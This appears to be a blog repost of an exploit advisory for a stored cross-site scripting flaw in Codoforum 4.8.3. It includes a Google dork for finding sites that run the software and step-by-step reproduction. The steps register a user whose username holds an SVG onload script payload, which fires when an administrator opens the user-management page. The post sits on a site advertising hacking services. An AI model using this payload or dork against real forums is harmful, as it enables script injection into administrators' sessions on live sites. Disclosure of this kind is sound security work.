Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863560401

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
# Google Dork: intext:"Powered by Codoforum"
# Date: 2020-01-03
# Exploit Author: Prasanth c41m, Vyshnav Vizz
# Vendor Homepage: https://codoforum.com/index.php
# Software Link: https://codoforum.com/buy
# Version: Codoforum 4.8.3 
# Tested on: [relevant os]
# CVE : [if applicable]
# source: https://medium.com/@c41m/b2e1133c6a91?

Codoforum is prone to a stored xss vulnerability.
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.
Codoforum version 4.8.3 is vulnerable. 

1. Install Codoforum 4.8.3 in a local server.
2. Goto http://localhost/index.php?u=/user/register
3. Create a user using :- 
			username : "><svg/onload=alert(1)>
			password : password
			email    : c41m@email.com
4. Now goto http://localhost/admin/index.php?page=users/manage, an XSS alert popup will be triggered here.